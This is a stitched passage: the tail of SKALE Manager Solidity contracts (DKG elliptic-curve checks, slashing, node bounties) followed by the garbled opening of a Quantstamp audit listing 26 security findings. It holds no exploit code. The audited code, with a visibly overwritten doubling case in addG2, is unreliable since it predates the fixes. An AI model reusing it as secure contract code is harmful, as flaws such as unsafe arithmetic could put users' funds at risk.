channels[groupIndex].nodeToComplaint == toNodeIndex ) || ( !channels[groupIndex].broadcasted[indexTo] && channels[groupIndex].nodeToComplaint == toNodeIndex && channels[groupIndex].startedBlockNumber + 120 <= block.number ); return channels[groupIndex].active && indexFrom < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && indexTo < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && isNodeByMessageSender(fromNodeIndex, msg.sender) && complaintSending; } function isAlrightPossible(bytes32 groupIndex, uint nodeIndex) external view returns (bool) { uint index = findNode(groupIndex, nodeIndex); return channels[groupIndex].active && index < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && isNodeByMessageSender(nodeIndex, msg.sender) && IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) == channels[groupIndex].numberOfBroadcasted && !channels[groupIndex].completed[index]; } function isResponsePossible(bytes32 groupIndex, uint nodeIndex) external view returns (bool) { uint index = findNode(groupIndex, nodeIndex); return channels[groupIndex].active && index < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && isNodeByMessageSender(nodeIndex, msg.sender) && channels[groupIndex].nodeToComplaint == nodeIndex; } function finalizeSlashing(bytes32 groupIndex, uint badNode) internal { address schainsFunctionalityInternalAddress = contractManager.getContract("SchainsFunctionalityInternal"); uint[] memory possibleNodes = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).isEnoughNodes(groupIndex); emit BadGuy(badNode); emit FailedDKG(groupIndex); address dataAddress = channels[groupIndex].dataAddress; delete channels[groupIndex]; if (possibleNodes.length > 0) { uint newNode = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).replaceNode( badNode, groupIndex ); emit NewGuy(newNode); this.openChannel(groupIndex); } else { ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).excludeNodeFromSchain( badNode, groupIndex ); IGroupsData(dataAddress).setGroupFailedDKG(groupIndex); } DelegationService delegationService = DelegationService(contractManager.getContract("DelegationService")); NodesData nodesData = NodesData(contractManager.getContract("NodesData")); SlashingTable slashingTable = SlashingTable(contractManager.getContract("SlashingTable")); delegationService.slash(nodesData.getValidatorId(badNode), slashingTable.getPenalty("FailedDKG")); } function verify( bytes32 groupIndex, uint fromNodeIndex, uint secretNumber, bytes memory multipliedShare ) internal view returns (bool) { uint index = findNode(groupIndex, fromNodeIndex); uint secret = decryptMessage(groupIndex, secretNumber); bytes memory verificationVector = data[groupIndex][index].verificationVector; Fp2 memory valX = Fp2({x: 0, y: 0}); Fp2 memory valY = Fp2({x: 1, y: 0}); Fp2 memory tmpX = Fp2({x: 0, y: 0}); Fp2 memory tmpY = Fp2({x: 1, y: 0}); for (uint i = 0; i < verificationVector.length / 128; i++) { (tmpX, tmpY) = loop(index, verificationVector, i); (valX, valY) = addG2( tmpX, tmpY, valX, valY ); } return checkDKGVerification(valX, valY, multipliedShare) && checkCorrectMultipliedShare(multipliedShare, secret); } function getCommonPublicKey(bytes32 groupIndex, uint256 secretNumber) internal view returns (bytes32 key) { address nodesDataAddress = contractManager.getContract("NodesData"); address ecdhAddress = contractManager.getContract("ECDH"); bytes memory publicKey = INodesData(nodesDataAddress).getNodePublicKey(channels[groupIndex].fromNodeToComplaint); uint256 pkX; uint256 pkY; (pkX, pkY) = bytesToPublicKey(publicKey); (pkX, pkY) = IECDH(ecdhAddress).deriveKey(secretNumber, pkX, pkY); key = bytes32(pkX); } /*function hashed(uint x) public pure returns (bytes32) { return sha256(abi.encodePacked(uint2str(x))); } function toBytes(uint256 x) internal pure returns (bytes memory b) { b = new bytes(32); assembly { mstore(add(b, 32), x) } } function uint2str(uint num) internal pure returns (string memory) { if (num == 0) { return "0"; } uint j = num; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; uint num2 = num; while (num2 != 0) { bstr[k--] = byte(uint8(48 + num2 % 10)); num2 /= 10; } return string(bstr); } function bytes32ToString(bytes32 x) internal pure returns (string memory) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (uint j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); }*/ function decryptMessage(bytes32 groupIndex, uint secretNumber) internal view returns (uint) { address decryptionAddress = contractManager.getContract("Decryption"); bytes32 key = getCommonPublicKey(groupIndex, secretNumber); // Decrypt secret key contribution bytes32 ciphertext; uint index = findNode(groupIndex, channels[groupIndex].fromNodeToComplaint); uint indexOfNode = findNode(groupIndex, channels[groupIndex].nodeToComplaint); bytes memory sc = data[groupIndex][indexOfNode].secretKeyContribution; assembly { ciphertext := mload(add(sc, add(32, mul(index, 97)))) } uint secret = IDecryption(decryptionAddress).decrypt(ciphertext, key); return secret; } function adding( bytes32 groupIndex, uint x1, uint y1, uint x2, uint y2 ) internal { require(isG2(Fp2({ x: x1, y: y1 }), Fp2({ x: x2, y: y2 })), "Incorrect G2 point"); (channels[groupIndex].publicKeyx, channels[groupIndex].publicKeyy) = addG2( Fp2({ x: x1, y: y1 }), Fp2({ x: x2, y: y2 }), channels[groupIndex].publicKeyx, channels[groupIndex].publicKeyy ); } function isBroadcast( bytes32 groupIndex, uint nodeIndex, bytes memory sc, bytes memory vv ) internal { uint index = findNode(groupIndex, nodeIndex); require(channels[groupIndex].broadcasted[index] == false, "This node is already broadcasted"); channels[groupIndex].broadcasted[index] = true; channels[groupIndex].numberOfBroadcasted++; data[groupIndex][index] = BroadcastedData({ secretKeyContribution: sc, verificationVector: vv }); } function isBroadcasted(bytes32 groupIndex, uint nodeIndex) internal view returns (bool) { uint index = findNode(groupIndex, nodeIndex); return channels[groupIndex].broadcasted[index]; } function findNode(bytes32 groupIndex, uint nodeIndex) internal view returns (uint) { uint[] memory nodesInGroup = IGroupsData(channels[groupIndex].dataAddress).getNodesInGroup(groupIndex); uint correctIndex = nodesInGroup.length; bool set = false; for (uint index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex && !set) { correctIndex = index; set = true; } } return correctIndex; } function isNodeByMessageSender(uint nodeIndex, address from) internal view returns (bool) { address nodesDataAddress = contractManager.getContract("NodesData"); return INodesData(nodesDataAddress).isNodeExist(from, nodeIndex); } // Fp2 operations function addFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { return Fp2({ x: addmod(a.x, b.x, P), y: addmod(a.y, b.y, P) }); } function scalarMulFp2(uint scalar, Fp2 memory a) internal pure returns (Fp2 memory) { return Fp2({ x: mulmod(scalar, a.x, P), y: mulmod(scalar, a.y, P) }); } function minusFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { uint first; uint second; if (a.x >= b.x) { first = addmod(a.x, P - b.x, P); } else { first = P - addmod(b.x, P - a.x, P); } if (a.y >= b.y) { second = addmod(a.y, P - b.y, P); } else { second = P - addmod(b.y, P - a.y, P); } return Fp2({ x: first, y: second }); } function mulFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { uint aA = mulmod(a.x, b.x, P); uint bB = mulmod(a.y, b.y, P); return Fp2({ x: addmod(aA, mulmod(P - 1, bB, P), P), y: addmod(mulmod(addmod(a.x, a.y, P), addmod(b.x, b.y, P), P), P - addmod(aA, bB, P), P) }); } function squaredFp2(Fp2 memory a) internal pure returns (Fp2 memory) { uint ab = mulmod(a.x, a.y, P); uint mult = mulmod(addmod(a.x, a.y, P), addmod(a.x, mulmod(P - 1, a.y, P), P), P); return Fp2({ x: mult, y: addmod(ab, ab, P) }); } function inverseFp2(Fp2 memory a) internal view returns (Fp2 memory x) { uint t0 = mulmod(a.x, a.x, P); uint t1 = mulmod(a.y, a.y, P); uint t2 = mulmod(P - 1, t1, P); if (t0 >= t2) { t2 = addmod(t0, P - t2, P); } else { t2 = P - addmod(t2, P - t0, P); } uint t3 = bigModExp(t2, P - 2); x.x = mulmod(a.x, t3, P); x.y = P - mulmod(a.y, t3, P); } // End of Fp2 operations function isG1(uint x, uint y) internal pure returns (bool) { return mulmod(y, y, P) == addmod(mulmod(mulmod(x, x, P), x, P), 3, P); } function isG2(Fp2 memory x, Fp2 memory y) internal pure returns (bool) { if (isG2Zero(x, y)) { return true; } Fp2 memory squaredY = squaredFp2(y); Fp2 memory res = minusFp2(minusFp2(squaredY, mulFp2(squaredFp2(x), x)), Fp2({x: TWISTBX, y: TWISTBY})); return res.x == 0 && res.y == 0; } function isG2Zero(Fp2 memory x, Fp2 memory y) internal pure returns (bool) { return x.x == 0 && x.y == 0 && y.x == 1 && y.y == 0; } function doubleG2(Fp2 memory x1, Fp2 memory y1) internal view returns (Fp2 memory x3, Fp2 memory y3) { if (isG2Zero(x1, y1)) { x3 = x1; y3 = y1; } else { Fp2 memory s = mulFp2(scalarMulFp2(3, squaredFp2(x1)), inverseFp2(scalarMulFp2(2, y1))); x3 = minusFp2(squaredFp2(s), scalarMulFp2(2, x1)); y3 = addFp2(y1, mulFp2(s, minusFp2(x3, x1))); y3.x = P - (y3.x % P); y3.y = P - (y3.y % P); } } function u1(Fp2 memory x1) internal pure returns (Fp2 memory) { return mulFp2(x1, squaredFp2(Fp2({ x: 1, y: 0 }))); } function u2(Fp2 memory x2) internal pure returns (Fp2 memory) { return mulFp2(x2, squaredFp2(Fp2({ x: 1, y: 0 }))); } function s1(Fp2 memory y1) internal pure returns (Fp2 memory) { return mulFp2(y1, mulFp2(Fp2({ x: 1, y: 0 }), squaredFp2(Fp2({ x: 1, y: 0 })))); } function s2(Fp2 memory y2) internal pure returns (Fp2 memory) { return mulFp2(y2, mulFp2(Fp2({ x: 1, y: 0 }), squaredFp2(Fp2({ x: 1, y: 0 })))); } function isEqual( Fp2 memory u1Value, Fp2 memory u2Value, Fp2 memory s1Value, Fp2 memory s2Value ) internal pure returns (bool) { return (u1Value.x == u2Value.x && u1Value.y == u2Value.y && s1Value.x == s2Value.x && s1Value.y == s2Value.y); } function addG2( Fp2 memory x1, Fp2 memory y1, Fp2 memory x2, Fp2 memory y2 ) internal view returns ( Fp2 memory x3, Fp2 memory y3 ) { if (isG2Zero(x1, y1)) { return (x2, y2); } if (isG2Zero(x2, y2)) { return (x1, y1); } if ( isEqual( u1(x1), u2(x2), s1(y1), s2(y2) ) ) { (x3, y3) = doubleG2(x1, y1); } Fp2 memory s = mulFp2(minusFp2(y2, y1), inverseFp2(minusFp2(x2, x1))); x3 = minusFp2(squaredFp2(s), addFp2(x1, x2)); y3 = addFp2(y1, mulFp2(s, minusFp2(x3, x1))); y3.x = P - (y3.x % P); y3.y = P - (y3.y % P); } // function binstep(uint _a, uint _step) internal view returns (uint x) { // x = 1; // uint a = _a; // uint step = _step; // while (step > 0) { // if (step % 2 == 1) { // x = mulmod(x, a, P); // } // a = mulmod(a, a, P); // step /= 2; // } // } function mulG2( uint scalar, Fp2 memory x1, Fp2 memory y1 ) internal view returns (Fp2 memory x, Fp2 memory y) { uint step = scalar; x = Fp2({x: 0, y: 0}); y = Fp2({x: 1, y: 0}); Fp2 memory tmpX = x1; Fp2 memory tmpY = y1; while (step > 0) { if (step % 2 == 1) { (x, y) = addG2( x, y, tmpX, tmpY ); } (tmpX, tmpY) = doubleG2(tmpX, tmpY); step >>= 1; } } function bigModExp(uint base, uint power) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = P; uint[1] memory out; bool success; assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } function loop(uint index, bytes memory verificationVector, uint loopIndex) internal view returns (Fp2 memory, Fp2 memory) { bytes32[4] memory vector; bytes32 vector1; assembly { vector1 := mload(add(verificationVector, add(32, mul(loopIndex, 128)))) } vector[0] = vector1; assembly { vector1 := mload(add(verificationVector, add(64, mul(loopIndex, 128)))) } vector[1] = vector1; assembly { vector1 := mload(add(verificationVector, add(96, mul(loopIndex, 128)))) } vector[2] = vector1; assembly { vector1 := mload(add(verificationVector, add(128, mul(loopIndex, 128)))) } vector[3] = vector1; return mulG2( bigModExp(index + 1, loopIndex), Fp2({x: uint(vector[1]), y: uint(vector[0])}), Fp2({x: uint(vector[3]), y: uint(vector[2])}) ); } function checkDKGVerification(Fp2 memory valX, Fp2 memory valY, bytes memory multipliedShare) internal pure returns (bool) { Fp2 memory tmpX; Fp2 memory tmpY; (tmpX, tmpY) = bytesToG2(multipliedShare); return valX.x == tmpX.y && valX.y == tmpX.x && valY.x == tmpY.y && valY.y == tmpY.x; } // function getMulShare(uint secret) public view returns (uint, uint, uint) { // uint[3] memory inputToMul; // uint[2] memory mulShare; // inputToMul[0] = G1A; // inputToMul[1] = G1B; // inputToMul[2] = secret; // bool success; // assembly { // success := staticcall(not(0), 7, inputToMul, 0x60, mulShare, 0x40) // } // require(success, "Multiplication failed"); // uint correct; // if (!(mulShare[0] == 0 && mulShare[1] == 0)) { // correct = P - (mulShare[1] % P); // } // return (mulShare[0], mulShare[1], correct); // } function checkCorrectMultipliedShare(bytes memory multipliedShare, uint secret) internal view returns (bool) { Fp2 memory tmpX; Fp2 memory tmpY; (tmpX, tmpY) = bytesToG2(multipliedShare); uint[3] memory inputToMul; uint[2] memory mulShare; inputToMul[0] = G1A; inputToMul[1] = G1B; inputToMul[2] = secret; bool success; assembly { success := staticcall(not(0), 7, inputToMul, 0x60, mulShare, 0x40) } require(success, "Multiplication failed"); if (!(mulShare[0] == 0 && mulShare[1] == 0)) { mulShare[1] = P - (mulShare[1] % P); } require(isG1(G1A, G1B), "G1.one not in G1"); require(isG1(mulShare[0], mulShare[1]), "mulShare not in G1"); require(isG2(Fp2({x: G2A, y: G2B}), Fp2({x: G2C, y: G2D})), "G2.one not in G2"); require(isG2(tmpX, tmpY), "tmp not in G2"); uint[12] memory inputToPairing; inputToPairing[0] = mulShare[0]; inputToPairing[1] = mulShare[1]; inputToPairing[2] = G2B; inputToPairing[3] = G2A; inputToPairing[4] = G2D; inputToPairing[5] = G2C; inputToPairing[6] = G1A; inputToPairing[7] = G1B; inputToPairing[8] = tmpX.y; inputToPairing[9] = tmpX.x; inputToPairing[10] = tmpY.y; inputToPairing[11] = tmpY.x; uint[1] memory out; assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } function bytesToPublicKey(bytes memory someBytes) internal pure returns (uint x, uint y) { bytes32 pkX; bytes32 pkY; assembly { pkX := mload(add(someBytes, 32)) pkY := mload(add(someBytes, 64)) } x = uint(pkX); y = uint(pkY); } function bytesToG2(bytes memory someBytes) internal pure returns (Fp2 memory x, Fp2 memory y) { bytes32 xa; bytes32 xb; bytes32 ya; bytes32 yb; assembly { xa := mload(add(someBytes, 32)) xb := mload(add(someBytes, 64)) ya := mload(add(someBytes, 96)) yb := mload(add(someBytes, 128)) } x = Fp2({x: uint(xa), y: uint(xb)}); y = Fp2({x: uint(ya), y: uint(yb)}); } } /* SkaleManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/INodesData.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/ISkaleToken.sol"; import "./interfaces/INodesFunctionality.sol"; import "./interfaces/ISchainsFunctionality.sol"; import "./interfaces/IManagerData.sol"; import "./delegation/DelegationService.sol"; import "./delegation/ValidatorService.sol"; import "./MonitorsFunctionality.sol"; import "./NodesFunctionality.sol"; import "./NodesData.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/introspection/IERC1820Registry.sol"; contract SkaleManager is IERC777Recipient, Permissions { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; enum TransactionOperation {CreateNode, CreateSchain} event BountyGot( uint indexed nodeIndex, address owner, uint32 averageDowntime, uint32 averageLatency, uint bounty, uint32 time, uint gasSpend ); constructor(address newContractsAddress) Permissions(newContractsAddress) public { _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function tokensReceived( address operator, address from, address to, uint256 value, bytes calldata userData, bytes calldata operatorData ) external allow("SkaleToken") { if (from == contractManager.getContract("SkaleBalances")) { // skip parsing of user data return; } TransactionOperation operationType = fallbackOperationTypeConvert(userData); if (operationType == TransactionOperation.CreateSchain) { address schainsFunctionalityAddress = contractManager.getContract("SchainsFunctionality"); ISchainsFunctionality(schainsFunctionalityAddress).addSchain(from, value, userData); } } function createNode(bytes calldata data) external { INodesFunctionality nodesFunctionality = INodesFunctionality(contractManager.getContract("NodesFunctionality")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); validatorService.checkPossibilityCreatingNode(msg.sender); uint nodeIndex = nodesFunctionality.createNode(msg.sender, data); validatorService.pushNode(msg.sender, nodeIndex); monitorsFunctionality.addMonitor(nodeIndex); } function initWithdrawDeposit(uint nodeIndex) external { address nodesFunctionalityAddress = contractManager.getContract("NodesFunctionality"); require( INodesFunctionality(nodesFunctionalityAddress).initWithdrawDeposit(msg.sender, nodeIndex), "Initialization of deposit withdrawing is failed"); } function completeWithdrawdeposit(uint nodeIndex) external { NodesFunctionality nodesFunctionality = NodesFunctionality(contractManager.getContract("NodesFunctionality")); nodesFunctionality.completeWithdrawDeposit(msg.sender, nodeIndex); } function deleteNode(uint nodeIndex) external { address nodesFunctionalityAddress = contractManager.getContract("NodesFunctionality"); INodesFunctionality(nodesFunctionalityAddress).removeNode(msg.sender, nodeIndex); MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); monitorsFunctionality.deleteMonitorByRoot(nodeIndex); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint validatorId = validatorService.getValidatorId(msg.sender); validatorService.deleteNode(validatorId, nodeIndex); } function deleteNodeByRoot(uint nodeIndex) external onlyOwner { NodesFunctionality nodesFunctionality = NodesFunctionality(contractManager.getContract("NodesFunctionality")); NodesData nodesData = NodesData(contractManager.getContract("NodesData")); MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); nodesFunctionality.removeNodeByRoot(nodeIndex); monitorsFunctionality.deleteMonitorByRoot(nodeIndex); uint validatorId = nodesData.getNodeValidatorId(nodeIndex); validatorService.deleteNode(validatorId, nodeIndex); } function deleteSchain(string calldata name) external { address schainsFunctionalityAddress = contractManager.getContract("SchainsFunctionality"); ISchainsFunctionality(schainsFunctionalityAddress).deleteSchain(msg.sender, name); } function deleteSchainByRoot(string calldata name) external { address schainsFunctionalityAddress = contractManager.getContract("SchainsFunctionality"); ISchainsFunctionality(schainsFunctionalityAddress).deleteSchainByRoot(name); } function sendVerdict( uint fromMonitorIndex, uint toNodeIndex, uint32 downtime, uint32 latency) external { NodesData nodesData = NodesData(contractManager.getContract("NodesData")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); validatorService.checkIfValidatorAddressExists(msg.sender); require(nodesData.isNodeExist(msg.sender, fromMonitorIndex), "Node does not exist for Message sender"); monitorsFunctionality.sendVerdict( fromMonitorIndex, toNodeIndex, downtime, latency); } function sendVerdicts( uint fromMonitorIndex, uint[] calldata toNodeIndexes, uint32[] calldata downtimes, uint32[] calldata latencies) external { address nodesDataAddress = contractManager.getContract("NodesData"); require(INodesData(nodesDataAddress).isNodeExist(msg.sender, fromMonitorIndex), "Node does not exist for Message sender"); require(toNodeIndexes.length == downtimes.length, "Incorrect data"); require(latencies.length == downtimes.length, "Incorrect data"); MonitorsFunctionality monitorsFunctionalityAddress = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); for (uint i = 0; i < toNodeIndexes.length; i++) { monitorsFunctionalityAddress.sendVerdict( fromMonitorIndex, toNodeIndexes[i], downtimes[i], latencies[i]); } } function getBounty(uint nodeIndex) external { address nodesDataAddress = contractManager.getContract("NodesData"); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); validatorService.checkIfValidatorAddressExists(msg.sender); require(INodesData(nodesDataAddress).isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender"); require(INodesData(nodesDataAddress).isTimeForReward(nodeIndex), "Not time for bounty"); bool nodeIsActive = INodesData(nodesDataAddress).isNodeActive(nodeIndex); bool nodeIsLeaving = INodesData(nodesDataAddress).isNodeLeaving(nodeIndex); require(nodeIsActive || nodeIsLeaving, "Node is not Active and is not Leaving"); uint32 averageDowntime; uint32 averageLatency; MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); (averageDowntime, averageLatency) = monitorsFunctionality.calculateMetrics(nodeIndex); uint bounty = manageBounty( msg.sender, nodeIndex, averageDowntime, averageLatency, nodesDataAddress); INodesData(nodesDataAddress).changeNodeLastRewardDate(nodeIndex); monitorsFunctionality.upgradeMonitor(nodeIndex); emit BountyGot( nodeIndex, msg.sender, averageDowntime, averageLatency, bounty, uint32(block.timestamp), gasleft()); } function manageBounty( address from, uint nodeIndex, uint32 downtime, uint32 latency, address nodesDataAddress) internal returns (uint) { uint commonBounty; IConstants constants = IConstants(contractManager.getContract("Constants")); IManagerData managerData = IManagerData(contractManager.getContract("ManagerData")); INodesData nodesData = INodesData(contractManager.getContract("NodesData")); uint diffTime = nodesData.getNodeLastRewardDate(nodeIndex) + constants.rewardPeriod() + constants.deltaPeriod(); if (managerData.minersCap() == 0) { managerData.setMinersCap(ISkaleToken(contractManager.getContract("SkaleToken")).CAP() / 3); } if (managerData.stageTime() + constants.rewardPeriod() < now) { managerData.setStageTimeAndStageNodes(nodesData.numberOfActiveNodes() + nodesData.numberOfLeavingNodes()); } commonBounty = managerData.minersCap() / ((2 ** (((now - managerData.startTime()) / constants.SIX_YEARS()) + 1)) * (constants.SIX_YEARS() / constants.rewardPeriod()) * managerData.stageNodes()); if (now > diffTime) { diffTime = now - diffTime; } else { diffTime = 0; } diffTime /= constants.checkTime(); int bountyForMiner = int(commonBounty); uint normalDowntime = ((constants.rewardPeriod() - constants.deltaPeriod()) / constants.checkTime()) / 30; if (downtime + diffTime > normalDowntime) { bountyForMiner -= int(((downtime + diffTime) * commonBounty) / (constants.SECONDS_TO_DAY() / 4)); } if (bountyForMiner > 0) { if (latency > constants.allowableLatency()) { bountyForMiner = (constants.allowableLatency() * bountyForMiner) / latency; } payBounty(uint(bountyForMiner), from, nodeIndex); } else { //Need to add penalty bountyForMiner = 0; } return uint(bountyForMiner); } function payBounty(uint bountyForMiner, address miner, uint nodeIndex) internal returns (bool) { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); SkaleToken skaleToken = SkaleToken(contractManager.getContract("SkaleToken")); DelegationService delegationService = DelegationService(contractManager.getContract("DelegationService")); uint validatorId = validatorService.getValidatorId(miner); uint bounty = bountyForMiner; if (!validatorService.checkPossibilityToMaintainNode(validatorId, nodeIndex)) { bounty /= 2; } delegationService.withdrawBounty(address(this), bounty); skaleToken.send(address(delegationService), bounty, abi.encode(validatorId)); } function fallbackOperationTypeConvert(bytes memory data) internal pure returns (TransactionOperation) { bytes1 operationType; assembly { operationType := mload(add(data, 0x20)) } bool isIdentified = operationType == bytes1(uint8(1)) || operationType == bytes1(uint8(16)) || operationType == bytes1(uint8(2)); require(isIdentified, "Operation type is not identified"); if (operationType == bytes1(uint8(1))) { return TransactionOperation.CreateNode; } else if (operationType == bytes1(uint8(16))) { return TransactionOperation.CreateSchain; } } }
July 27th 2020— Quantstamp Verified Skale Network This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Smart Contracts Auditors Alex Murashkin , Senior Software EngineerKacper Bąk , Senior Research EngineerEd Zulkoski , Senior Security EngineerTimeline 2020-02-04 through 2020-07-10 EVM Muir Glacier Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification README.md Spec Source Code Repository Commit skale-manager remediation-3 skale-manager 50c8f4e Total Issues 26 (21 Resolved)High Risk Issues 3 (3 Resolved)Medium Risk Issues 1 (1 Resolved)Low Risk Issues 11 (8 Resolved)Informational Risk Issues 7 (5 Resolved)Undetermined Risk Issues 4 (4 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsThe scope of the audit is restricted to the set of files outlined in the section. Quantstamp Audit Breakdown While reviewing the given files at the commit , we identified three issues of high severity, seven issues of low severity, and four issues of informational severity. In addition, we made several suggestions with regards to code documentation, adherence to best practices, and adherence to the specification. We recommend resolving the issues and improving code documentation before shipping to production. 50c8f4eWhile reviewing the diff , we marked some of the issues as resolved or acknowledged, depending on whether a code change was made. Some findings remained marked as "Unresolved" (such as , , and ): we recommend taking a look at these as we believe these were not fully addressed or still impose risks. In addition, we found 12 new potential issues of varying levels of severity. For the commit , the new issue list beings with , and line numbers now refer to the commit. The severity of some findings remained as "undetermined" due to the lack of documentation. Moreover, we made additional documentation and best practices recommendations which were placed at the end of the report after the main findings. Update:50c8f4e..remediation-3 QSP-1 QSP-10 QSP-11 remediation-3 QSP-15 remediation-3 We recommend addressing all the issues before running in production. : We reviewed the fixes provided in the following separate commits/PRs: Update 1. ( ) 1da7bbd https://github.com/skalenetwork/skale-manager/pull/267 2. ( ) 8c6a218 https://github.com/skalenetwork/skale-manager/pull/258 3. ( ) 8652d74https://github.com/skalenetwork/skale- manager/pull/264/commits/8652d743fa273c68664c1acc972067d83b28f098 4. ( ) 0164b22https://github.com/skalenetwork/skale- manager/pull/264/commits/0164b22436d8c10e22a202ff257581b76e038dec 5. ( ) 7e040bf https://github.com/skalenetwork/skale-manager/pull/229 6. ( ) bd17697 https://github.com/skalenetwork/skale-manager/pull/224 7. ( ) c671839https://github.com/skalenetwork/skale- manager/blob/c6718397cbbe7f9520b3c7ff62aa5bd1b0df27f5/contracts/ContractManager.sol#L51 All main findings ( ) from the original commit - and the re-audit commit - - were addressed in the commits above. Some best practices suggestions and documentation issues were addressed, but some were not. Code coverage could also use some improvement. QSP-1..QSP-2650c8f4e remediation-3 ID Description Severity Status QSP- 1 Potentially Unsafe Use of Arithmetic Operations High Fixed QSP- 2 Ability to register Address that already exists Low Fixed QSP- 3 Free Tokens for Owner from Testing Code High Fixed QSP- 4 Validator Denial-of-Service High Fixed QSP- 5 Unlocked Pragma Low Fixed QSP- 6 Use of Experimental Features Low Fixed QSP- 7 Centralization of Power Low Acknowledged QSP- 8 Transaction-Ordering Dependency in Validator Registration Low Fixed QSP- 9 Unintentional Locking of Tokens upon Cancelation Low Fixed QSP- 10 Validator Registration "Spamming" Low Acknowledged QSP- 11 Misusing / / require() assert() revert() Informational Acknowledged QSP- 12 Stubbed Functions in DelegationService Informational Fixed QSP- 13 Unhandled Edge Case in Validator Existence Check Informational Fixed QSP- 14 Potentially Unsafe Use of Loops Informational Fixed QSP- 15 Denial-of-Service (DoS) Medium Fixed QSP- 16 Denial-of-Service (DoS) Low Fixed QSP- 17 Potentially Unsafe Use of Loops (2) Low Acknowledged QSP- 18 Lack of Array Length Reduction Low Fixed QSP- 19 Unclear Purpose of the Assignment Undetermined Fixed QSP- 20 Unclear State List for isTerminated(...) Undetermined Fixed QSP- 21 Unclear Intention for in totalApproved TokenLaunchManager Undetermined Fixed QSP- 22 Potential Violation of the Spec Informational Acknowledged QSP- 23 Inconsistent Behaviour of addToLockedInPendingDelegations(...) Undetermined Fixed QSP- 24 Error-prone Logic for delegated.mul(2) Informational Fixed QSP- 25 Event Emitted Regardless of Result Informational Fixed QSP- 26 Missing Input Validation Low Fixed QuantstampAudit Breakdown Quantstamp's objective was to evaluate the following files for security-related issues, code quality, and adherence to specification and best practices: * ContractManager.sol * 